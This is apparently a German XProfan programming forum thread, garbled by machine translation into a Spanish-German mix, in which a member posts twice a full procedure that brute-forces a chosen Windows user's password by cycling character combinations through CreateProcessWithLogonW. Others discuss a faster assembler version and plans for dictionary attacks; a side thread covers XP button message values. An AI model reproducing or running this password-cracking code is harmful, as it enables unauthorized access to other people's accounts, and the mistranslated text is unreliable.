Stammtisch & Café | | | | - Página 1 - |
|  | Ha alguien algo genauere Daten en wieviel MASM32 más rápido es como Profano? Sombrero el veces alguien getestet? |
| | | | |
| | | | | - Página 2 - |
|  | ¡Hola Franco...
Besten Dank, daß du dir el código ya veces angesehen hast. Como Yo me wirlich algunos Anfängerschnitzer instalado. - Einen Variablennamen falso geschrieben, - una überflüssige Addition drin, - XP Neuerungen no bedacht, - Variable no correcto gelöscht
Yo voluntad veces hoffen, daß el Message para el Buttonabfrage bajo XP se no geändert ha (lo son en cada Fall Werte dazugekommen) - sonst nimm a Not en Profano @GETFOCUS. Yo hätte me eigentlich denken puede, daß el así no klappt => euer Problema con el ToolTipps bajo XP.
El Fehlermeldung en CreateProcessWithLogonW war algo komplizierter. Wenn uno no cada vez vorher dien Inhalt el zwei letzten Parámetro löscht, kann lo vorkommen (je después de el, qué sonst todavía Texto en el Code es), daß esta Variables con Sinnlosem Code gefüllt voluntad. Sie necesario deshalb cada vez antes el Aufruf el Función en Null gesetzt voluntad (stand auch ya en el Ver código fuente).
Yo voluntad veces hoffen el lo ahora en dir funktioniert y yo no todavía mehr Mist instalado habe:
El Procedimiento PWCHECK se en el DLL
Proc PWCHECK
Parámetros PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
1.Parámetro=a startendes Programa
2.Parámetro=Name des Users dessen Contraseña ermittelt voluntad se
3.Parámetro=Handle des Abbruchbuttons en el Ventana principal
4.Parámetro=Welche Buchstaben como ersten Buchstaben conjunto (Groß-/Kleinschreibung)?
5.Parámetro=Welche Buchstaben para el otro Buchstaben en el Wort conjunto (Kleinschreibung)
6.Parámetro=Contraseña, si ya bekannt
7.Parámetro=Wo se el Contraseña ausgegeben voluntad?
8.Parámetro=Anzahl el durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Declarar BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declarar ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declarar lpStartupinfo#,lpProcessInformation#
Declarar PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declarar Anfangszeichen#,Signo#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM Signo#,300
En el LSA besonders wichtig - todos Variables con Null füllen
Claro DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Claro PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Signo#
@Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Cuerdas voluntad en Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String Signo#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
In esta API stecke Yo Usernamen y bekomme el Domain y el SID heraus
@Externo("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
Yo brauche una Unicode String y dimensioniere el Variable para el Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
LET StartZeit$=@TIME$(0) Kann evtl. weg
LET STARTDATUM$=@DATE$(0) Kann evtl. weg
DIM PW#,256
CLEAR PW#
LET COUNT%=0
Yo wandele hier el Cuerdas en Unicode Cuerdas en
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Largo lpStartupInfo#,0=68
WHILENOT ENDE%
SET("FastMode",0) Streichen
Vierzig Buchstaben reicht
IF COUNT%>Buchstabenanzahl&
LET ENDE%=1
endif
Wenn en el Ventana principal Abbruch gedrückt wurde se final voluntad
IF @sendmessage(Button&,$00F2,0,0)=108
Messagebox wäre schön, muß aber no ser
LET PANTWORT%=@MESSAGEBOX("Test befindet se en el Augenblick en "+@STRING$(pw#,0)+".
Test wurde al "+STARTDATUM$+" en "+StartZeit$+" comenzó.","Wollen Sie el Test wirklich abbrechen?",292)
CASE PANTWORT%=6 : LET ENDE%=1
ENDIF
SET("FastMode",1)
Alle möglichen Bustabenkombinationen debería durchgegangen voluntad
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
más
LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)
WEND
más
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
Yo brauche otra vez una Unicode String
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
El Función son sólo 1 zurück, si el Contraseña correcto war
SET("FastMode",0)
@Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Largo lpStartupInfo#,0=68
LET FERGEBNIS&=@Externo("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
Das se no en el DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declarar Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Sinestar encargado @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
WEND
Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz","",Edit&,7
Usecursor 0
Nein, lo voluntad no Buchstaben abgehakt sonder siempre otra vez gedreht. Das Ganze es nichts más como Zählen, hier pero no en el Binär-, Octal- oder Hexalsystem sonder hier con 26 a máximo 255 unterschiedlichen Zuständen pro Punto. |
| | | | |
| |  Frank Abbing | Hi,
[quote:806como4d370]Nein, lo voluntad no Buchstaben abgehakt sonder siempre otra vez gedreht. Das Ganze es nichts más como Zählen, hier pero no en el Binär-, Octal- oder Hexalsystem sonder hier con 26 a máximo 255 unterschiedlichen Zuständen pro Punto.[/quote:806como4d370] Sí, verstanden.
Su Progrämmchen findet después de como antes nichts. Der Abbruch-Button ha auch no Wirkung. Hab momentan no viel Tiempo, pero yo mach el Assemblersuchen fertig, si otra vez va. |
| | | | |
| |  | ¡Hola Franco...
Usted mußt deinen Accountnamen eingeben, no el Namen, el dir WindowsXP anzeigt. Schau veces en el Ordner Dokunente y Einstellungen después de el hay vorhandenen Verzeichnisnamen, el son el bajo anderem el Accountnamen. Außerdem Tuve todavía una falschen Parámetro en MultiByteToWideChar drin. El 2 muß weg y una 0 rein (Yo ändere lo oben). Hier veces todavía qué con Anzeigeoption:
El Procedimiento PWCHECK se en el DLL
Proc PWCHECK
Parámetros PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
1.Parámetro=a startendes Programa
2.Parámetro=Name des Users dessen Contraseña ermittelt voluntad se
3.Parámetro=Handle des Abbruchbuttons en el Ventana principal
4.Parámetro=Welche Buchstaben como ersten Buchstaben conjunto (Groß-/Kleinschreibung)?
5.Parámetro=Welche Buchstaben para el otro Buchstaben en el Wort conjunto (Kleinschreibung)
6.Parámetro=Contraseña, si ya bekannt
7.Parámetro=Wo se el Contraseña ausgegeben voluntad?
8.Parámetro=Anzahl el durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Declarar BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declarar ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declarar lpStartupinfo#,lpProcessInformation#
Declarar PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declarar Anfangszeichen#,Signo#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM Signo#,300
En el LSA besonders wichtig - todos Variables con Null füllen
Claro DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Claro PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Signo#
@Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Cuerdas voluntad en Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String Signo#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
In esta API stecke Yo Usernamen y bekomme el Domain y el SID heraus
@Externo("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
Yo brauche una Unicode String y dimensioniere el Variable para el Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
DIM PW#,256
CLEAR PW#
LET COUNT%=0
Yo wandele hier el Cuerdas en Unicode Cuerdas en
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Largo lpStartupInfo#,0=68
WHILENOT ENDE%
SET("FastMode",0)
IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)
LET ENDE%=1
ENDIF
SET("FastMode",1)
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
más
LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)
WEND
más
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
@Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Largo lpStartupInfo#,0=68
LET FERGEBNIS&=@Externo("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
Das se no en el DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declarar Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,"",20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Sinestar encargado @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
Case %MENUITEM=-2 : FIN
WEND
Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Localizar 20,0
Imprimir "Funktion wurde al "+@Date$(1)+" en "+@TIME$(0)+" Uhr comenzó..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText $(Ba&),@GetText $(Bi&),"",Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
|
| | | | |
| |  | Ach sí...
BUTTON :roll:
Dazu veces una Test:
cls
Declarar Button&
Let Button&=@createbutton(%HWND,"OK",10,10,100,30)
Mientras que 0=0
Drawtext 0,100,@str$(@sendmessage(Button&,$00F2,0,0))+" "
sleep 10
wend
El Message Fragt el Status des Buttons de. Folgende Werte son ellos en me zurück: - Button no gedrückt=0 - Mauscursor liegt en Button=keine Änderung - Button gedrückt=108 - Foco liegt en Button=8 - Foco liegt no en Button=0
Yo habe el Verdacht el XProfan con Manifest hier otro y todavía mehr Werte zurückgiebt. Wenn sí, dürfte el auch el Grund para el Tooltipp Problema bajo XP ser...  |
| | | | |
| |  Frank Abbing | Hi,
Aber el Tooltippgeschichte se doch de Windows verwaltet... |
| | | | |
| |  | [quote:c026f5de54] Aber el Tooltippgeschichte se doch de Windows verwaltet... [/quote:c026f5de54] Der Status des Buttons doch auch, oder? Yo gehe veces bastante stark su de, daß el Status des Buttons, si él todavía no gedrückt wurde y Mauscursor en ihm ruht no 512 es - es el correcto? Exactamente como liegt wohl el problema con el Tooltipps - Yo kanns por desgracia, no testen, pero yo denke Yo tener bastante.
PS: Entfern el Manifest y mein Ver código fuente se ejecuta. |
| | | | |
| |  Frank Abbing | Hi,
Usted irrst dich. Er es entonces 512. Como ya geschrieben  Hab el MASM-Code fertig y poste ihn igual. |
| | | | |
| |  Frank Abbing | Hi,
así, hier el Testprogramm. Passwörter necesario Großbuchstaben ser. El Veces para Errechnen decken se con el Werten de el Webpage, el IF hier Nuevo hatte, para 26él Passwörter.
Der Assemblercode es todavía no optimiert y benutzt para Vergleich el Cuerdas el API lstrcmp(), el aber muy rápidamente arbeitet. |
| | | | |
| | | | - Página 3 - |
| |  Rolf Koch | Hi AH,
[quote:2bf116be6f] Entfern el Manifest y mein Ver código fuente se ejecuta [/quote:2bf116be6f] Um Gottes Willen - weist Usted eigentlich como schäbig el alte Design de Windows aussieht, si uno de Win 9x en XP umgestiegen es. In media Augen Es el Manifest eins el wichtigen Dinge el Windows Neuerungen.
Yo lach mich tot, si yo heute el globigen viereckigen langweiligen Buttons sehe. Gibt designtechnisch nix schlimmeres.
Aufm MAC war el vorher ya schöner. Flach y Hovermässig. Frisch como hier el Comunidad.
Rolf |
| | | | |
| |  | Hallöchen Rolf...
Yo denke veces, uno debería se zumindestens muy genau así auseinandersetzen qué como genau verbogen se - y cómo hier sieht scheinen el bastante grundlegende Sachen a ser... |
| | | | |
| |  Rolf Koch | ... como Me estoy dando Usted natürlich absolut Recht, AH. Yo habe lo sí sólo de Sicht des Designs y no de Sicht des Ablaufs gesehen. Ist sólo Schade, daß el Manifest auch otro Messages auslöst.
Rolf |
| | | | |
| |  | ¡Hola Franco...
Besten Dank para deine Test DLL. Das war genau el, Yo sólo una vez gebraucht habe. Man podría also a para fünften Buchstaben una MASM DLL ir y danach el Contraseña con Wörtern de una Wörterbuch beschießen. Yo habe ahora algo länger Fortbildung y Nachtschicht, danach voluntad Yo mich a una Programa begeben, el me automáticamente Wörter para dieses Wörterbuch sammelt.
@Rolf: Was nützt el schönste Design si Buttons, Tooltipps y Groupboxes no mehr trabajo porque el Rückgaben de Messages simplemente movido voluntad? |
| | | | |
|
RespuestaTema opciones | 25.717 Views |
ThemeninformationenDieses Thema ha 4 subscriber: |